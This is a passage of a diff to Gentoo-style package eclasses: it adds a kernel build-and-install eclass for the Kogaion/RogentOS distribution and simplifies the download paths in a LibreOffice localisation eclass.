+ SRC_URI="http://bpr.bluepink.ro/~rogentos/distro/${CATEGORY}/linux-${PVR}+${K_ROGKERNEL_SELF_TARBALL_NAME}.tar.${K_TARBALL_EXT}"
+else
+ SRC_URI="${KERNEL_URI}"
+fi
+
+if [ -z "${K_ROGKERNEL_SELF_TARBALL_NAME}" ]; then
+ if [ -n "${K_KERNEL_PATCH_VER}" ]; then
+ K_PATCH_NAME="patch-${KV_MAJOR}.${KV_MINOR}.${KV_PATCH}.${K_KERNEL_PATCH_VER}.${K_TARBALL_EXT}"
+ SRC_URI="${SRC_URI}
+ mirror://kernel/linux/kernel/v${KV_MAJOR}.${KV_MINOR}${K_LONGTERM_URL_STR}/${K_PATCH_NAME}"
+ UNIPATCH_LIST="${DISTDIR}/${K_PATCH_NAME}
+ ${UNIPATCH_LIST}"
+ fi
+fi
+if [ -n "${K_KERNEL_PATCH_HOTFIXES}" ]; then
+ UNIPATCH_LIST="${UNIPATCH_LIST} ${K_KERNEL_PATCH_HOTFIXES}"
+fi
+
+_get_real_kv_full() {
+ if [[ "${KV_MAJOR}${KV_MINOR}" -eq 26 ]]; then
+ echo "${ORIGINAL_KV_FULL}"
+ elif [[ "${OKV/.*}" = "3" ]]; then
+ # Linux 3.x support, KV_FULL is set to: 3.0-kogaion
+ # need to add another final .0 to the version part
+ echo "${ORIGINAL_KV_FULL/-/.0-}"
+ else
+ echo "${ORIGINAL_KV_FULL}"
+ fi
+}
+
+# replace "linux" with K_ROGKERNEL_NAME, usually replaces
+# "linux" with "kogaion" or "server" or "openvz"
+KV_FULL="${KV_FULL/${PN/-*}/${K_ROGKERNEL_NAME}}"
+EXTRAVERSION="${EXTRAVERSION/${PN/-*}/${K_ROGKERNEL_NAME}}"
+# drop -rX if exists
+if [[ -n "${PR//r0}" ]] && [[ "${K_KERNEL_DISABLE_PR_EXTRAVERSION}" = "1" ]] \
+ && [[ -z "${K_NOSETEXTRAVERSION}" ]]; then
+ EXTRAVERSION="${EXTRAVERSION%-r*}"
+ KV_FULL="${KV_FULL%-r*}"
+ KV="${KV%-r*}"
+fi
+# rewrite it
+ORIGINAL_KV_FULL="${KV_FULL}"
+KV_FULL="$(_get_real_kv_full)"
+
+# Starting from linux-3.0, we still have to install
+# sources stuff into /usr/src/linux-3.0.0-kogaion (example)
+# where the last part must always match uname -r
+# otherwise kernel-switcher (and RELEASE_LEVEL file)
+# will complain badly
+KV_OUT_DIR="/usr/src/linux-${KV_FULL}"
+S="${WORKDIR}/linux-${KV_FULL}"
+
+
+if [ -n "${K_FIRMWARE_PACKAGE}" ]; then
+ SLOT="0"
+elif [ "${K_KERNEL_SLOT_USEPVR}" = "1" ]; then
+ SLOT="${PVR}"
+elif [ "${K_KERNEL_NEW_VERSIONING}" = "1" ]; then
+ SLOT="$(get_version_component_range 1-2)"
+else
+ SLOT="${PV}"
+fi
+
+_is_kernel_binary() {
+ if [ -z "${K_ONLY_SOURCES}" ] && [ -z "${K_FIRMWARE_PACKAGE}" ]; then
+ # yes it is
+ return 0
+ else
+ # no it isn't
+ return 1
+ fi
+}
+
+_is_kernel_lts() {
+ local _ver="$(get_version_component_range 1-2)"
+ [ "${_ver}" = "3.0" ] && return 0
+ [ "${_ver}" = "3.2" ] && return 0
+ [ "${_ver}" = "3.4" ] && return 0
+ [ "${_ver}" = "3.10" ] && return 0
+ return 1
+}
+
+# provide extra virtual pkg
+if _is_kernel_binary; then
+ PROVIDE="virtual/linux-binary"
+# LTS support
+ if [ "${K_KERNEL_LTS}" = "1" ] || _is_kernel_lts; then
+ PROVIDE+=" virtual/linux-binary-lts"
+ fi
+fi
+
+if [ -n "${K_ROGKERNEL_SELF_TARBALL_NAME}" ]; then
+ HOMEPAGE="https://github.com/Rogentos/kernel"
+else
+ HOMEPAGE="http://www.kogaion.ro"
+fi
+
+# Returns success if _set_config_file_vars was called.
+_is_config_file_set() {
+ [[ ${_config_file_set} = 1 ]]
+}
+
+# Returns the arm kernel config file extension for the current subarch
+_get_arm_subarch() {
+ local target="${CTARGET:-${CHOST}}"
+ local arm_arch=${target%%-*}
+ if [[ ${arm_arch} == armv7? ]]; then
+ echo "armv7"
+ elif [[ ${arm_arch} == armv6? ]]; then
+ echo "armv6"
+ elif [[ ${arm_arch} == armv5? ]]; then
+ echo "armv5"
+ fi
+}
+
+_get_arch() {
+ if use arm; then
+ _get_arm_subarch
+ elif use amd64; then
+ echo "amd64"
+ elif use x86; then
+ echo "x86"
+ fi
+}
+
+_set_config_file_vars() {
+ # Setup kernel configuration file name
+ local pvr="${PVR}"
+ local pv="${PV}"
+ if [ "${K_KERNEL_NEW_VERSIONING}" = "1" ]; then
+ pvr="$(get_version_component_range 1-2)"
+ pv="${pvr}"
+ if [ "${PR}" != "r0" ]; then
+ pvr+="-${PR}"
+ fi
+ fi
+
+ K_ROGKERNEL_CONFIG_FILES=()
+ K_ROGKERNEL_CONFIG_FILES+=( "${K_ROGKERNEL_NAME}-${pvr}-$(_get_arch).config" )
+ K_ROGKERNEL_CONFIG_FILES+=( "${K_ROGKERNEL_NAME}-${pv}-$(_get_arch).config" )
+ K_ROGKERNEL_CONFIG_FILES+=( "${K_ROGKERNEL_NAME}-$(_get_arch).config" )
+
+ _config_file_set=1
+}
+
+if [ -n "${K_ONLY_SOURCES}" ] || [ -n "${K_FIRMWARE_PACKAGE}" ]; then
+ IUSE="${IUSE}"
+ DEPEND="sys-apps/sed"
+ RDEPEND="${RDEPEND}"
+else
+ IUSE="dmraid dracut iscsi luks lvm mdadm plymouth splash"
+ if [ -n "${K_ROGKERNEL_ZFS}" ]; then
+ IUSE="${IUSE} zfs"
+ fi
+ DEPEND="app-arch/xz-utils
+ sys-apps/sed
+ sys-devel/autoconf
+ sys-devel/make
+ || ( >=sys-kernel/genkernel-next-5 >=sys-kernel/genkernel-3.4.45-r2 )
+ arm? ( dev-embedded/u-boot-tools )
+ amd64? ( sys-apps/v86d )
+ x86? ( sys-apps/v86d )
+ splash? ( x11-themes/rogentos-artwork-core )
+ lvm? ( sys-fs/lvm2 sys-block/thin-provisioning-tools )
+ plymouth? (
+ || ( >=sys-kernel/genkernel-next-5 >=sys-kernel/genkernel-5 )
+ sys-boot/plymouth
+ )
+ dracut? ( sys-apps/v86d sys-kernel/dracut )"
+ RDEPEND="sys-apps/sed
+ sys-kernel/linux-firmware"
+ if [ -n "${K_REQUIRED_LINUX_FIRMWARE_VER}" ]; then
+ RDEPEND+=" >=sys-kernel/linux-firmware-${K_REQUIRED_LINUX_FIRMWARE_VER}"
+ fi
+fi
+
+# internal function
+#
+# FUNCTION: _update_depmod
+# @USAGE: _update_depmod <-r depmod>
+# DESCRIPTION:
+# It updates the modules.dep file for the current kernel.
+# This is more or less the same of linux-mod update_depmod, with the
+# exception of accepting parameter which is passed to depmod -r switch
+_update_depmod() {
+
+ # if we haven't determined the version yet, we need too.
+ get_version;
+
+ ebegin "Updating module dependencies for ${KV_FULL}"
+ if [ -r "${KV_OUT_DIR}"/System.map ]; then
+ depmod -ae -F "${KV_OUT_DIR}"/System.map -b "${ROOT}" -r "${1}"
+ eend $?
+ else
+ ewarn
+ ewarn "${KV_OUT_DIR}/System.map not found."
+ ewarn "You must manually update the kernel module dependencies using depmod."
+ eend 1
+ ewarn
+ fi
+}
+
+kogaion-kernel_pkg_setup() {
+ if [ -n "${K_FIRMWARE_PACKAGE}" ]; then
+ einfo "Preparing kernel firmwares"
+ else
+ einfo "Preparing kernel and its modules"
+ fi
+}
+
+kogaion-kernel_src_unpack() {
+ local okv="${OKV}"
+ if [ -n "${K_ROGKERNEL_SELF_TARBALL_NAME}" ] && [ "${K_ROGKERNEL_PATCH_UPSTREAM_TARBALL}" != "1" ]; then
+ OKV="${PVR}+${K_ROGKERNEL_SELF_TARBALL_NAME}"
+ fi
+ if [ "${K_KERNEL_NEW_VERSIONING}" = "1" ]; then
+ # workaround for kernel-2's universal_unpack assumptions
+ UNIPATCH_LIST_DEFAULT= KV_MAJOR=0 kernel-2_src_unpack
+ else
+ kernel-2_src_unpack
+ fi
+ if [ -n "${K_ROGKERNEL_FORCE_SUBLEVEL}" ]; then
+ # patch out Makefile with proper sublevel
+ sed -i "s:^SUBLEVEL = .*:SUBLEVEL = ${K_ROGKERNEL_FORCE_SUBLEVEL}:" \
+ "${S}/Makefile" || die
+ fi
+ if [ -n "${K_ROGKERNEL_RESET_EXTRAVERSION}" ]; then
+ sed -i "s:^EXTRAVERSION =.*:EXTRAVERSION = :" "${S}/Makefile" || die
+ # some sources could have multiple append-based EXTRAVERSIONs
+ sed -i "s/^EXTRAVERSION :=.*//" "${S}/Makefile" || die
+ fi
+ OKV="${okv}"
+
+ # Let's handle EAPIs 0 and 1...
+ case ${EAPI:-0} in
+ 0|1) kogaion-kernel_src_prepare ;;
+ esac
+}
+
+kogaion-kernel_src_prepare() {
+ _set_config_file_vars
+}
+
+kogaion-kernel_src_compile() {
+ if [ -n "${K_FIRMWARE_PACKAGE}" ]; then
+ _firmwares_src_compile
+ elif [ -n "${K_ONLY_SOURCES}" ]; then
+ kernel-2_src_compile
+ else
+ _kernel_src_compile
+ fi
+}
+
+_firmwares_src_compile() {
+ einfo "Starting to compile firmwares..."
+ _kernel_copy_config "${S}/.config"
+ cd "${S}" || die "cannot find source dir"
+
+ export LDFLAGS=""
+ OLDARCH="${ARCH}"
+ unset ARCH
+ emake firmware || die "cannot compile firmwares"
+ ARCH="${OLDARCH}"
+}
+
+_kernel_copy_config() {
+ _is_config_file_set \
+ || die "Kernel configuration file not set. Was kogaion-kernel_src_prepare() called?"
+
+ local base_path="${DISTDIR}"
+ if [ -n "${K_ROGKERNEL_SELF_TARBALL_NAME}" ]; then
+ base_path="${S}/kogaion/config"
+ fi
+
+ local found= cfg=
+ for cfg in "${K_ROGKERNEL_CONFIG_FILES[@]}"; do
+ cfg="${base_path}/${cfg}"
+ if [ -f "${cfg}" ]; then
+ cp "${cfg}" "${1}" || die "cannot copy kernel config ${cfg} -> ${1}"
+ elog "Using kernel config: ${cfg}"
+ found=1
+ break
+ fi
+ done
+ [[ -z "${found}" ]] && die "cannot find kernel configs among: ${K_ROGKERNEL_CONFIG_FILES[*]}"
+}
+
+_kernel_src_compile() {
+ # disable sandbox
+ export SANDBOX_ON=0
+
+ # needed anyway, even if grub use flag is not used here
+ if use amd64 || use x86; then
+ mkdir -p "${WORKDIR}"/boot/grub
+ else
+ mkdir -p "${WORKDIR}"/boot
+ fi
+
+ einfo "Starting to compile kernel..."
+ _kernel_copy_config "${WORKDIR}"/config
+
+ # do some cleanup
+ rm -rf "${WORKDIR}"/lib
+ rm -rf "${WORKDIR}"/cache
+ rm -rf "${S}"/temp
+
+ # creating workdirs
+ # some kernels fail with make 3.82 if firmware dir is not created
+ mkdir "${WORKDIR}"/lib/lib/firmware -p
+ mkdir "${WORKDIR}"/cache
+ mkdir "${S}"/temp
+
+ cd "${S}" || die
+ local GKARGS=()
+ GKARGS+=( "--no-save-config" "--e2fsprogs" "--udev" )
+ use splash && GKARGS+=( "--splash=rogentos" )
+ use plymouth && GKARGS+=( "--plymouth" "--plymouth-theme=rogentos" )
+ use dmraid && GKARGS+=( "--dmraid" )
+ use iscsi && GKARGS+=( "--iscsi" )
+ use mdadm && GKARGS+=( "--mdadm" )
+ use luks && GKARGS+=( "--luks" )
+ use lvm && GKARGS+=( "--lvm" )
+ if [ -n "${K_ROGKERNEL_ZFS}" ]; then
+ use zfs && GKARGS+=( "--zfs" )
+ fi
+
+ export DEFAULT_KERNEL_SOURCE="${S}"
+ export CMD_KERNEL_DIR="${S}"
+ for opt in ${MAKEOPTS}; do
+ if [ "${opt:0:2}" = "-j" ]; then
+ mkopts="${opt}"
+ break
+ fi
+ done
+ [ -z "${mkopts}" ] && mkopts="-j3"
+
+ if [ -n "${K_KERNEL_IMAGE_NAME}" ]; then
+ GKARGS+=( "--kernel-target=${K_KERNEL_IMAGE_NAME}" )
+ elif use arm; then
+ # backward compat + provide sane defaults.
+ GKARGS+=( "--kernel-target=uImage" )
+ fi
+ if [ -n "${K_KERNEL_IMAGE_PATH}" ]; then
+ GKARGS+=( "--kernel-binary=${K_KERNEL_IMAGE_PATH}" )
+ elif use arm; then
+ # backward compat + provide sane defaults.
+ GKARGS+=( "--kernel-binary=arch/arm/boot/uImage" )
+ fi
+
+ # Workaround bug in splash_geninitramfs corrupting the initramfs
+ # if xz compression is used (newer genkernel >3.4.24)
+ local support_comp=$(genkernel --help | grep compress-initramfs-type)
+ if [ -n "${support_comp}" ]; then
+ GKARGS+=( "--compress-initramfs-type=gzip" )
+ fi
+
+ # Use --disklabel if genkernel supports it
+ local support_disklabel=$(genkernel --help | grep -- --disklabel)
+ if [ -n "${support_disklabel}" ]; then
+ GKARGS+=( "--disklabel" )
+ fi
+
+ if [ -n "${K_MKIMAGE_KERNEL_ADDRESS}" ]; then
+ export LOADADDR="${K_MKIMAGE_KERNEL_ADDRESS}"
+ fi
+ OLDARCH="${ARCH}"
+ unset ARCH
+ unset LDFLAGS
+ DEFAULT_KERNEL_SOURCE="${S}" CMD_KERNEL_DIR="${S}" genkernel "${GKARGS[@]}" ${K_GENKERNEL_ARGS} \
+ --kerneldir="${S}" \
+ --kernel-config="${WORKDIR}"/config \
+ --cachedir="${WORKDIR}"/cache \
+ --makeopts="${mkopts}" \
+ --tempdir="${S}"/temp \
+ --logfile="${WORKDIR}"/genkernel.log \
+ --bootdir="${WORKDIR}"/boot \
+ --mountboot \
+ --module-prefix="${WORKDIR}"/lib \
+ all || die "genkernel failed"
+
+ if [ -n "${K_MKIMAGE_KERNEL_ADDRESS}" ]; then
+ unset LOADADDR
+ fi
+
+ ARCH=${OLDARCH}
+}
+
+_setup_mkimage_ramdisk() {
+ local initramfs=$(ls "${WORKDIR}"/boot/${KERN_INITRAMFS_SEARCH_NAME}* 2> /dev/null)
+ if [ ! -e "${initramfs}" ] || [ ! -f "${initramfs}" ]; then
+ ewarn "No initramfs at ${initramfs}, cannot run mkimage on it!"
+ elif [ "${K_MKIMAGE_WRAP_INITRAMFS}" = "1" ]; then
+ einfo "Setting up u-boot initramfs for: ${initramfs}"
+ mkimage -A arm -O linux -T ramdisk -C none -a \
+ "${K_MKIMAGE_RAMDISK_ADDRESS}" \
+ -e "${K_MKIMAGE_RAMDISK_ENTRYPOINT}" -d "${initramfs}" \
+ "${initramfs}.u-boot" || return 1
+ mv "${initramfs}.u-boot" "${initramfs}" || return 1
+ else
+ einfo "mkimage won't be called for: ${initramfs}"
+ fi
+ return 0
+}
+
+kogaion-kernel_src_install() {
+ if [ -n "${K_FIRMWARE_PACKAGE}" ]; then
+ _firmwares_src_install
+ elif [ -n "${K_ONLY_SOURCES}" ]; then
+ _kernel_sources_src_install
+ else
+ _kernel_src_install
+ fi
+ # File collisions between slots, debug stuff
+ # not really needed for a kernel
+ rm -rf "${D}/usr/lib/debug"
+}
+
+_firmwares_src_install() {
+ dodir /lib/firmware
+ keepdir /lib/firmware
+ cd "${S}" || die
+ emake INSTALL_FW_PATH="${D}/lib/firmware" firmware_install || die "cannot install firmwares"
+}
+
+_kernel_sources_src_install() {
+ _kernel_copy_config ".config"
+ kernel-2_src_install
+ cd "${D}${KV_OUT_DIR}" || die
+ local oldarch="${ARCH}"
+ unset ARCH
+ if ! use sources_standalone; then
+ make modules_prepare || die "failed to run modules_prepare"
+ rm .config || die "cannot remove .config"
+ rm Makefile || die "cannot remove Makefile"
+ rm -f include/linux/version.h
+ rm -f include/generated/uapi/linux/version.h
+ fi
+ ARCH="${oldarch}"
+}
+
+_kernel_src_install() {
+ if use arm; then
+ _setup_mkimage_ramdisk || die "cannot setup mkimage"
+ fi
+
+ dodir "${KV_OUT_DIR}"
+ insinto "${KV_OUT_DIR}"
+
+ _kernel_copy_config ".config"
+ doins ".config" || die "cannot copy kernel config"
+ doins Makefile || die "cannot copy Makefile"
+ doins Module.symvers || die "cannot copy Module.symvers"
+ doins System.map || die "cannot copy System.map"
+
+ # NOTE: this is a workaround caused by linux-info.eclass not
+ # being ported to EAPI=2 yet
+ local version_h_dir="include/linux"
+ local version_h_dir2="include/generated/uapi/linux"
+ local version_h=
+ local version_h_src=
+ for ver_dir in "${version_h_dir}" "${version_h_dir2}"; do
+ version_h="${ROOT}${KV_OUT_DIR/\//}/${ver_dir}/version.h"
+ if [ -f "${version_h}" ]; then
+ einfo "Discarding previously installed version.h to avoid collisions"
+ addwrite "${version_h}"
+ rm -f "${version_h}"
+ fi
+
+ # Include include/linux/version.h to make Portage happy
+ version_h_src="${S}/${ver_dir}/version.h"
+ if [ -f "${version_h_src}" ]; then
+ dodir "${KV_OUT_DIR}/${ver_dir}"
+ insinto "${KV_OUT_DIR}/${ver_dir}"
+ doins "${version_h_src}" || die "cannot copy version.h"
+ fi
+ done
+
+ insinto "/boot"
+ doins "${WORKDIR}"/boot/* || die "cannot copy /boot over"
+ cp -Rp "${WORKDIR}"/lib/* "${D}/" || die "cannot copy /lib over"
+
+ # Install dtbs if found
+ if use arm; then
+ local dtb_dir="/lib/dts/${KV_FULL}"
+ elog "Installing .dtbs (if any) into ${dtb_dir}"
+ insinto "${dtb_dir}"
+ local dtb=
+ for dtb in "${S}/arch/arm/boot/dts"/*.dtb; do
+ if [ -f "${dtb}" ]; then
+ elog "Installing dtb: ${dtb}"
+ doins "${dtb}"
+ fi
+ done
+ fi
+
+ # This doesn't always work because KV_FULL (when K_NOSETEXTRAVERSION=1) doesn't
+ # reflect the real value used in Makefile
+ #dosym "../../..${KV_OUT_DIR}" "/lib/modules/${KV_FULL}/source" || die "cannot install source symlink"
+ #dosym "../../..${KV_OUT_DIR}" "/lib/modules/${KV_FULL}/build" || die "cannot install build symlink"
+ cd "${D}"/lib/modules/* || die "cannot enter /lib/modules directory, more than one element?"
+ # cleanup previous
+ rm -f build source || die
+ # create sane symlinks
+ ln -sf "../../..${KV_OUT_DIR}" source || die "cannot create source symlink"
+ ln -sf "../../..${KV_OUT_DIR}" build || die "cannot create build symlink"
+ cd "${S}" || die
+
+ # drop ${D}/lib/firmware, virtual/linux-firmwares provides it
+ rm -rf "${D}/lib/firmware"
+
+ if [ -n "${K_WORKAROUND_SOURCES_COLLISION}" ]; then
+ # Fixing up Makefile collision if already installed by
+ # openvz-sources
+ einfo "Workarounding source package collisions"
+ make_file="${KV_OUT_DIR/\//}/Makefile"
+ einfo "Makefile: ${make_file}"
+ if [ -f "${ROOT}/${make_file}" ]; then
+ elog "Removing ${D}/${make_file}"
+ rm -f "${D}/${make_file}"
+ fi
+ fi
+
+ # Install kernel configuration information
+ # useful for Entropy kernel-switcher
+ # release level is enough for now
+ base_dir="/etc/kernels/${P}"
+ dodir "${base_dir}"
+ insinto "${base_dir}"
+ echo "${KV_FULL}" > "RELEASE_LEVEL"
+ doins "RELEASE_LEVEL"
+ einfo "Installing ${base_dir}/RELEASE_LEVEL file: ${KV_FULL}"
+
+ use dracut && \
+ _dracut_initramfs_create "${KV_FULL}"
+}
+
+kogaion-kernel_pkg_preinst() {
+ if _is_kernel_binary; then
+ mount-boot_pkg_preinst
+ fi
+}
+kogaion-kernel_grub2_mkconfig() {
+ if [ -x "${ROOT}usr/sbin/grub2-mkconfig" ]; then
+ # Grub 2.00
+ "${ROOT}usr/sbin/grub2-mkconfig" -o "${ROOT}boot/grub/grub.cfg"
+ elif [ -x "${ROOT}sbin/grub-mkconfig" ]; then
+ # Grub 1.99
+ "${ROOT}sbin/grub-mkdevicemap" --device-map="${ROOT}boot/grub/device.map"
+ "${ROOT}sbin/grub-mkconfig" -o "${ROOT}boot/grub/grub.cfg"
+ else
+ echo
+ ewarn "Attention, Grub2 is not installed !!!"
+ ewarn "Grub2 bootloader configuration won't be updated"
+ echo
+ fi
+}
+
+_get_real_extraversion() {
+ make_file="${ROOT}${KV_OUT_DIR}/Makefile"
+ local extraver=$(grep -r "^EXTRAVERSION =" "${make_file}" | cut -d "=" -f 2 | head -n 1)
+ local trimmed=${extraver%% }
+ echo ${trimmed## }
+}
+
+_get_release_level() {
+ if [[ -n "${K_WORKAROUND_USE_REAL_EXTRAVERSION}" ]]; then
+ echo "${KV_MAJOR}.${KV_MINOR}.${KV_PATCH}$(_get_real_extraversion)"
+ elif [[ "${KV_MAJOR}${KV_MINOR}" -eq 26 ]]; then
+ echo "${KV_FULL}"
+ elif [[ "${OKV/.*}" = "3" ]] && [[ "${KV_PATCH}" = "0" ]]; then
+ # Linux 3.x support, KV_FULL is set to: 3.0-kogaion
+ # need to add another final .0 to the version part
+ echo "${KV_FULL/-/.0-}"
+ else
+ echo "${KV_FULL}"
+ fi
+}
+
+kogaion-kernel_uimage_config() {
+ # Two cases here:
+ # 1. /boot/uImage symlink is broken (pkg_postrm)
+ # 2. /boot/uImage symlink doesn't exist (pkg_postinst)
+
+ if ! has_version app-admin/eselect-uimage; then
+ ewarn "app-admin/eselect-uimage not installed"
+ ewarn "If you are using this tool, please install it"
+ return 0
+ fi
+
+ local uimage_file=$(eselect uimage show --quiet 2> /dev/null)
+ if [ -z "${uimage_file}" ]; then
+ # pick the first listed, sorry!
+ local eselect_list=$(eselect uimage list --quiet 2> /dev/null)
+ if [ -n "${eselect_list}" ]; then
+ eselect uimage set 1
+ else
+ echo
+ ewarn "No more kernels available, you won't be able to boot"
+ echo
+ fi
+ else
+ echo
+ elog "If you use eselect-bzimage, you are currently booting with kernel:"
+ elog "${uimage_file}"
+ elog
+ elog "Use 'eselect uimage' in order to switch between the available ones"
+ echo
+ fi
+}
+
+kogaion-kernel_bzimage_config() {
+ # Two cases here:
+ # 1. /boot/bzImage symlink is broken (pkg_postrm)
+ # 2. /boot/bzImage symlink doesn't exist (pkg_postinst)
+ local kern_arch
+ use x86 && kern_arch="x86"
+ use amd64 && kern_arch="x86_64"
+
+ if ! has_version app-admin/eselect-bzimage; then
+ ewarn "app-admin/eselect-bzimage not installed"
+ ewarn "If you are using this tool, please install it"
+ return 0
+ fi
+
+ local bzimage_file=$(eselect bzimage show --quiet 2> /dev/null)
+ if [ -z "${bzimage_file}" ]; then
+ # try to pic what's being installed
+ local eselect_list=$(eselect bzimage list --quiet 2> /dev/null)
+ if [ -n "${eselect_list}" ]; then
+ eselect bzimage set "kernel-genkernel-${kern_arch}-${KV_FULL}"
+ if [ "${?}" != "0" ]; then
+ # pick the first available, sorry!
+ echo
+ eselect bzimage set 1
+ ewarn "Unable to select the right kernel, falling back"
+ ewarn "to the first available entry. You have been warned"
+ echo
+ fi
+ else
+ echo
+ ewarn "No more kernels available, you might not be able to boot"
+ echo
+ fi
+ else
+ echo
+ ewarn "You are currently booting with kernel:"
+ ewarn "${bzimage_file}"
+ ewarn
+ ewarn "Use 'eselect bzimage' in order to switch between the available ones"
+ echo
+ fi
+}
+
+_dracut_initramfs_create() {
+ local kver="${1}"
+
+ elog "Creating dracut initramfs for ${kver}"
+ addpredict /etc/ld.so.cache~
+ dracut -q -N -f --kver="${kver}" "${D}/boot/initramfs-dracut-${kver}"
+}
+
+kogaion-kernel_pkg_postinst() {
+ if _is_kernel_binary; then
+ fstab_file="${ROOT}etc/fstab"
+ einfo "Removing extents option for ext4 drives from ${fstab_file}"
+ # Remove "extents" from /etc/fstab
+ if [ -f "${fstab_file}" ]; then
+ sed -i '/ext4/ s/extents//g' "${fstab_file}"
+ fi
+
+ # Update kernel initramfs to match user customizations
+ update_kogaion_kernel_initramfs_splash
+
+ # Add kernel to grub.conf
+ if use amd64 || use x86; then
+ if use amd64; then
+ local kern_arch="x86_64"
+ else
+ local kern_arch="x86"
+ fi
+ # grub-legacy
+ if [ -x "${ROOT}usr/sbin/grub-handler" ]; then
+ "${ROOT}usr/sbin/grub-handler" add \
+ "/boot/kernel-genkernel-${kern_arch}-${KV_FULL}" \
+ "/boot/initramfs-genkernel-${kern_arch}-${KV_FULL}"
+ fi
+
+ kogaion-kernel_grub2_mkconfig
+ fi
+
+ # Setup newly installed kernel on ARM
+ if use arm; then
+ kogaion-kernel_uimage_config
+ fi
+ # Setup newly installed kernel on x86/amd64
+ # This is quite handy for static grub1/grub2
+ # configurations (like on Amazon EC2)
+ if use x86 || use amd64; then
+ kogaion-kernel_bzimage_config
+ fi
+
+ kernel-2_pkg_postinst
+ local depmod_r=$(_get_release_level)
+ _update_depmod "${depmod_r}"
+
+ elog "Please report kernel bugs at:"
+ elog "http://bugs.kogaion.ro"
+
+ elog "The source code of this kernel is located at"
+ elog "=${K_KERNEL_SOURCES_PKG}."
+ elog "RogentOS Team recommends that portage users install"
+ elog "${K_KERNEL_SOURCES_PKG} if you want"
+ elog "to build any packages that install kernel modules"
+ elog "(such as ati-drivers, nvidia-drivers, virtualbox, etc...)."
+ else
+ kernel-2_pkg_postinst
+ fi
+}
+
+kogaion-kernel_pkg_prerm() {
+ if _is_kernel_binary; then
+ mount-boot_pkg_prerm
+ fi
+}
+
+kogaion-kernel_pkg_postrm() {
+ if _is_kernel_binary; then
+ # Remove kernel from grub.conf
+ if use amd64 || use x86; then
+ if use amd64; then
+ local kern_arch="x86_64"
+ else
+ local kern_arch="x86"
+ fi
+ if [ -x "${ROOT}usr/sbin/grub-handler" ]; then
+ "${ROOT}usr/sbin/grub-handler" remove \
+ "/boot/kernel-genkernel-${kern_arch}-${KV_FULL}" \
+ "/boot/initramfs-genkernel-${kern_arch}-${KV_FULL}"
+ fi
+
+ kogaion-kernel_grub2_mkconfig
+ fi
+
+ # Setup newly installed kernel on ARM
+ if use arm; then
+ kogaion-kernel_uimage_config
+ fi
+ # Setup newly installed kernel on x86/amd64
+ # This is quite handy for static grub1/grub2
+ # configurations (like on Amazon EC2)
+ if use x86 || use amd64; then
+ kogaion-kernel_bzimage_config
+ fi
+ fi
+}
+
+# export all the available functions here
+case ${EAPI:-0} in
+ 0|1) extra_export_funcs= ;;
+ *) extra_export_funcs=src_prepare ;;
+esac
+
+EXPORT_FUNCTIONS pkg_setup src_unpack ${extra_export_funcs} \
+ src_compile src_install pkg_preinst pkg_postinst pkg_prerm pkg_postrm
diff --git a/eclass/libreoffice-l10n-2.eclass b/eclass/libreoffice-l10n-2.eclass
index 05a912e8..79d74359 100644
--- a/eclass/libreoffice-l10n-2.eclass
+++ b/eclass/libreoffice-l10n-2.eclass
@@ -36,36 +36,20 @@ LANGPACK_AVAIL="${LANGPACK_AVAIL:-1}"
DESCRIPTION="LibreOffice.org ${L10N_LANG} localisation"
HOMEPAGE="http://www.documentfoundation.org"
-RESTRICT="mirror"
+RESTRICT="nomirror"
L10N_VER="$(get_version_component_range 1-3)"
-L10N_RC_VERSION="$(get_version_component_range 4)"
+L10N_RC_VERSION="rc2"
LO_BRANCH=$(get_version_component_range 1-2)
-if [ -n "${L10N_RC_VERSION}" ]; then
- # this is a RC, thus testing
- BASE_SRC_URI="http://download.documentfoundation.org/libreoffice/testing/${L10N_VER}/rpm"
- TARBALL_VERSION="${L10N_VER}.${L10N_RC_VERSION}"
-else
- BASE_SRC_URI="http://download.documentfoundation.org/libreoffice/stable/${L10N_VER}/rpm"
- TARBALL_VERSION="${L10N_VER}"
-fi
+BASE_SRC_URI="http://download.documentfoundation.org/libreoffice/stable/${L10N_VER}/rpm"
SRC_URI=""
-if [ "$(get_version_component_range 1)" = "3" ]; then
- URI_PREFIX="LibO"
- RPM_SUFFIX_LANG="langpack-rpm"
- RPM_SUFFIX_HELP="helppack-rpm"
-else
- URI_PREFIX="LibreOffice"
- RPM_SUFFIX_LANG="rpm_langpack"
- RPM_SUFFIX_HELP="rpm_helppack"
-fi
# try guessing
if [ "${LANGPACK_AVAIL}" = "1" ]; then
- SRC_URI+="${BASE_SRC_URI}/x86/${URI_PREFIX}_${TARBALL_VERSION}_Linux_x86_${RPM_SUFFIX_LANG}_${MY_LANG}.tar.gz"
+ SRC_URI+="${BASE_SRC_URI}/x86/LibO_${L10N_VER}_Linux_x86_langpack-rpm_${MY_LANG}.tar.gz"
fi
if [ "${HELPPACK_AVAIL}" = "1" ]; then
- SRC_URI+=" ${BASE_SRC_URI}/x86/${URI_PREFIX}_${TARBALL_VERSION}_Linux_x86_${RPM_SUFFIX_HELP}_${MY_LANG}.tar.gz"
+ SRC_URI+=" ${BASE_SRC_URI}/x86/LibO_${L10N_VER}_Linux_x86_helppack-rpm_${MY_LANG}.tar.gz"
fi
IUSE=""
@@ -99,20 +83,22 @@ libreoffice-l10n-2_src_unpack() {
local dir=${lang/_/-}
# for english we provide just helppack, as translation is always there
if [[ "${LANGPACK_AVAIL}" == "1" ]]; then
- rpmdir="${URI_PREFIX}_${TARBALL_VERSION}"*"_Linux_x86_${RPM_SUFFIX_LANG}_${dir}/RPMS/"
+ rpmdir="LibO_${L10N_VER}${L10N_RC_VERSION}_Linux_x86_langpack-rpm_${dir}/RPMS/"
+ [[ -d ${rpmdir} ]] || die "Missing directory: \"${rpmdir}\""
# First remove dictionaries, we want to use system ones.
rm -rf "${S}/${rpmdir}/"*dict*.rpm
einfo "Unpacking Langpack"
- rpm_unpack ./${rpmdir}/*.rpm
+ rpm_unpack "./${rpmdir}/"*.rpm
fi
if [[ "${HELPPACK_AVAIL}" == "1" ]]; then
- rpmdir="${URI_PREFIX}_${TARBALL_VERSION}"*"_Linux_x86_${RPM_SUFFIX_HELP}_${dir}/RPMS/"
+ rpmdir="LibO_${L10N_VER}${L10N_RC_VERSION}_Linux_x86_helppack-rpm_${dir}/RPMS/"
+ [[ -d ${rpmdir} ]] || die "Missing directory: \"${rpmdir}\""
einfo "Unpacking Helppack"
- rpm_unpack ./${rpmdir}/*.rpm
+ rpm_unpack ./"${rpmdir}/"*.rpm
fi
if [[ -n "${TDEPEND}" ]]; then
if use templates; then
- for i in "${OO_EXTENSIONS[@]}"; do
+ for i in ${OO_EXTENSIONS[@]}; do
